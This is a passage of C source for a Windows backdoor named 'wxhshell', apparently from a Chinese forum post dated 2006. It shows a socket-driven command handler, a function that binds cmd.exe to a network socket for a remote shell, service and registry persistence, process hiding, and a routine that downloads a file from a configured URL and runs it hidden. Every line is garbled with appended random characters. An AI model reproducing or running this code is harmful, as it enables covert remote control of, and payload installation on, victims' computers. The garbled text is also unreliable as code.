Cl'3I%$8K  
    switch(cmd[0]) { )+v' @]r  
  .h@HAnmE  
  // 帮助 G&v. cF#Y'  
  case '?': { VQ'DNv| 9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v@;!fBUt  
    break; (g#,AX  
  } $S{]` +  
  // 安装 sA[eKQjaD  
  case 'i': { -?PXj)<  
    if(Install()) WJ m:?,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OE_>Kw7q  
    else }q<%![%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\Ga&Q0-(O  
    break; <O30X !QuK  
    } n ;0x\Q|S  
  // 卸载 qFg"!w  
  case 'r': { YDdY'd`*  
    if(Uninstall()) g9oY K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'`pO"EO  
    else N cnL-k.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 23Juu V.  
    break; t*cVDA&K  
    } &s<'fSI  
  // 显示 wxhshell 所在路径 =VM4Q+'K  
  case 'p': { [m{uJ dj\  
    char svExeFile[MAX_PATH]; BuIly&qbm<  
    strcpy(svExeFile,"\n\r"); Fmux#}Z  
      strcat(svExeFile,ExeFile); i0e aBG]I  
        send(wsh,svExeFile,strlen(svExeFile),0); 0F|DD8tHR  
    break; Q2 @Ugt$  
    } Nw|m"VLb  
  // 重启 u@eKh3!  
  case 'b': { {5N!udLDr5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SM@RELA'Lb  
    if(Boot(REBOOT)) L !V6 Rfy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPVqt"TY  
    else { [Csv/  
    closesocket(wsh); %9P)Okq  
    ExitThread(0); 268H!'!\  
    } 7d"gRM;  
    break; >djTJ>dl_u  
    } Rr3<ln  
  // 关机 k| Ye[GM*  
  case 'd': { hY-;Vh0J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N>'|fNx]  
    if(Boot(SHUTDOWN))  LAfv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o,;Hb4Eu  
    else { y&8kORz;?  
    closesocket(wsh); gBCO>nJws  
    ExitThread(0); ~76qFZe-  
    } *g;4?_f  
    break; 0'O*Y ]h+  
    } :KL5A1{  
  // 获取shell 1xF<c<  
  case 's': { Z$&i"1{  
    CmdShell(wsh); ^J_rb;m43  
    closesocket(wsh); GVt}\e~"  
    ExitThread(0); S|HnmkV66  
    break; Z_Z; g]|!  
  } T6=q[LpsKN  
  // 退出 %HK\  
  case 'x': { {Y#$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rS/}!|uAu  
    CloseIt(wsh); 7)y9% -}  
    break; D%=FCmL5@=  
    } g<"k\qs7  
  // 离开 uY'77,G_J  
  case 'q': { i9%cpPrg8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S0uEz;cE  
    closesocket(wsh); !p#+I=  
    WSACleanup(); /"*eMe!=  
    exit(1); _>"f&nb O  
    break; A]k-bX= s  
        } IU*w 'a  
  } ~0ku,P#D  
  } ;`P}\Q{  
d:V6.7>,  
  // 提示信息 /o)o7$6Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fX[6  {  
} Z?}yPs Ob  
  } PWw2;3`-6w  
/5Zt4&r  
  return; MU/3**zoW  
} _RcFV  
E6FT*}Q  
// shell模块句柄 mtQlm5l  
int CmdShell(SOCKET sock) %oY=.Ok ]  
{ Xzp!X({   
STARTUPINFO si; vuCl(/P`  
ZeroMemory(&si,sizeof(si)); *He%%pk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "o ^cv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~-.^eT kP  
PROCESS_INFORMATION ProcessInfo; +~~&FO2  
char cmdline[]="cmd"; m2o)/:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |`50Tf\J  
  return 0; u^!c:RfE?  
} 861!p%y5  
_:Jra  
// 自身启动模式 ^`&?"yj<z  
int StartFromService(void) Cm5:_K`;]  
{ R^*h|7)E  
typedef struct Z1t?+v+Ro*  
{ zu@5,AH  
  DWORD ExitStatus; O5:2B\B  
  DWORD PebBaseAddress; '8|y^\  
  DWORD AffinityMask; [`eqma  
  DWORD BasePriority; FNyr0!t,  
  ULONG UniqueProcessId; Bh\>2]~@a  
  ULONG InheritedFromUniqueProcessId; ;HPQhN_  
}   PROCESS_BASIC_INFORMATION; :jc ?T  
+9[/> JM  
PROCNTQSIP NtQueryInformationProcess; f;w7YO+$p9  
^*fZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :GaK.W q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iO,_0Y4  
,py:e>+^t  
  HANDLE             hProcess; X/D^?BKC  
  PROCESS_BASIC_INFORMATION pbi; ]U8VU  
b+g(=z+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a9=pZ1QAG  
  if(NULL == hInst ) return 0; :{ }]$+|)\  
S|pMX87R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \~:Uj~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AUk,sCxd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3i c6!T#t"  
EGKj1_ml  
  if (!NtQueryInformationProcess) return 0; aj71oki)  
GWU"zWli]z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W]t!I}yPR  
  if(!hProcess) return 0; "&,Gn#'FG  
N4wv'OrL]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dcGs0b  
M^E\L C  
  CloseHandle(hProcess); y[W<vb+F  
\ M_}V[1+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F;Lg w^1!  
if(hProcess==NULL) return 0; 4KkjBPV  
H*Tc.Ie  
HMODULE hMod; [9:'v@Ph  
char procName[255]; JF vVRGWB  
unsigned long cbNeeded; RKY~[IQ,  
9EE},D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P9\!JH!  
.K n)sD1  
  CloseHandle(hProcess); D]s8w  
x'.OLXx>  
if(strstr(procName,"services")) return 1; // 以服务启动 z`^DQ8+\j  
?)ROQ1-#@  
  return 0; // 注册表启动 g@<E0 q&`$  
} bHi0N@W!vG  
oBm^RHTZ  
// 主模块 R>ak 3Y  
int StartWxhshell(LPSTR lpCmdLine) !2R<T/9~  
{ Y~</vz+H  
  SOCKET wsl; y$]gmg  
BOOL val=TRUE; 4a&*?=GG  
  int port=0; TaZw_)4c  
  struct sockaddr_in door; XYOPX>$T  
qJQ!e  
  if(wscfg.ws_autoins) Install(); BDeX5/`U#  
#s!q(Rc  
port=atoi(lpCmdLine); q Z,7q  
3y9K'  
if(port<=0) port=wscfg.ws_port; 7q'_]$  
>z`^Q[  
  WSADATA data; RO([R=.`/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z]1=nSv  
FuiEy=+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qe&K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); scff WqEo  
  door.sin_family = AF_INET; 4TBK:Vm5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {G+pI2^  
  door.sin_port = htons(port); O%g%*9  
X/ \5j   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g `)5g5  
closesocket(wsl); lE8M.ho\  
return 1; :`9hgd/9  
} [BH^SvE  
jWg7RuN  
  if(listen(wsl,2) == INVALID_SOCKET) { }SdI _sLe  
closesocket(wsl); g"60{  
return 1; |HjoaN)  
} `ehZ(H}  
  Wxhshell(wsl); -7^A_!.  
  WSACleanup(); :%!}%fkxH  
jAa{;p"jU  
return 0; q*Hf%I"  
w/L^w50pt  
} |r]f2Mrm  
fjE  
// 以NT服务方式启动 cmzu @zq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6O`s&T,t  
{ D['z/r6F  
DWORD   status = 0; $Vi[195]2  
  DWORD   specificError = 0xfffffff; /-#1ys#F=  
)w{bT]   
  serviceStatus.dwServiceType     = SERVICE_WIN32; !Od?69W, $  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qg7rkRia  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a w0;  
  serviceStatus.dwWin32ExitCode     = 0; & *^FBJEa.  
  serviceStatus.dwServiceSpecificExitCode = 0; ]vyu!  
  serviceStatus.dwCheckPoint       = 0; X `[P11`  
  serviceStatus.dwWaitHint       = 0; JQ>GKu~  
NV|[.g=lg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y: ~A-_  
  if (hServiceStatusHandle==0) return; l1_Tr2A}7/  
UN~dzA~V  
status = GetLastError(); X>[x7t:  
  if (status!=NO_ERROR) ZfpV=DU  
{ r((2.,\Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B@:c 8}2.  
    serviceStatus.dwCheckPoint       = 0; +0w~Skd,  
    serviceStatus.dwWaitHint       = 0; a?zn>tx  
    serviceStatus.dwWin32ExitCode     = status; >q'xW=Y j\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3f u*{8.XZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^J?ExMu  
    return; hmA$gR_  
  } *H"IW0I  
gaK m`#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q^&oXM'x/i  
  serviceStatus.dwCheckPoint       = 0; ~*3obZ2>2  
  serviceStatus.dwWaitHint       = 0; 3'd(=hJ45$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ){AtV&{$  
} pJ` M5pF  
A9*( O)  
// 处理NT服务事件,比如:启动、停止 [j6EzMN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Y):d!'b  
{ W"m\|x  
switch(fdwControl) A@8Ot-t:\2  
{ di@4'$5#  
case SERVICE_CONTROL_STOP: \m3'4#  
  serviceStatus.dwWin32ExitCode = 0; rjmKe*_1V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y:U'3G-  
  serviceStatus.dwCheckPoint   = 0; WIytgM  
  serviceStatus.dwWaitHint     = 0; SIJ:[=5!7  
  { 6.o8vC/PZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xiu?BP?V  
  } b`NXe7A  
  return; kOe %w-_  
case SERVICE_CONTROL_PAUSE: +d[A'&"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *]ROUk@K=  
  break; bv.DW,l%'  
case SERVICE_CONTROL_CONTINUE: Q?f%]uGFQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }(g`l)OX  
  break; 1g_(xwUp+  
case SERVICE_CONTROL_INTERROGATE: 6sRe. ct<  
  break; yI&{8DCCw  
}; [}7j0&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \2?p  
} 6^W6As0  
Kn9O=?Xh;  
// 标准应用程序主函数 uS9:cdH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]!u12^A{  
{ QHt;c  
49)A.Bh&!  
// 获取操作系统版本 HT]v S}s  
OsIsNt=GetOsVer(); L53qQej<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q^^.@FU"x  
\5+?wpH  
  // 从命令行安装 k,EI+lCX  
  if(strpbrk(lpCmdLine,"iI")) Install(); {U$qxC]M  
v&6=(k{E@R  
  // 下载执行文件 -mSiZ  
if(wscfg.ws_downexe) { l!n<.tQW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]gN]Cw\L  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z_ Gb9  
} {K{&__Nk  
+%Vbz7+!  
if(!OsIsNt) { qz|`\^  
// 如果时win9x,隐藏进程并且设置为注册表启动 )+^1QL  
HideProc(); q<Zdf  
StartWxhshell(lpCmdLine); ;5wmQFr  
} `w_?9^7mH  
else 4T*RJ3Fz!  
  if(StartFromService()) y-UutI&  
  // 以服务方式启动 r ]XXN2[jO  
  StartServiceCtrlDispatcher(DispatchTable); 5e!YYt>  
else 0D;MW  
  // 普通方式启动 $rB20!  
  StartWxhshell(lpCmdLine); dx=\Pq  
}3tbqFiH  
return 0; CgLS2  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
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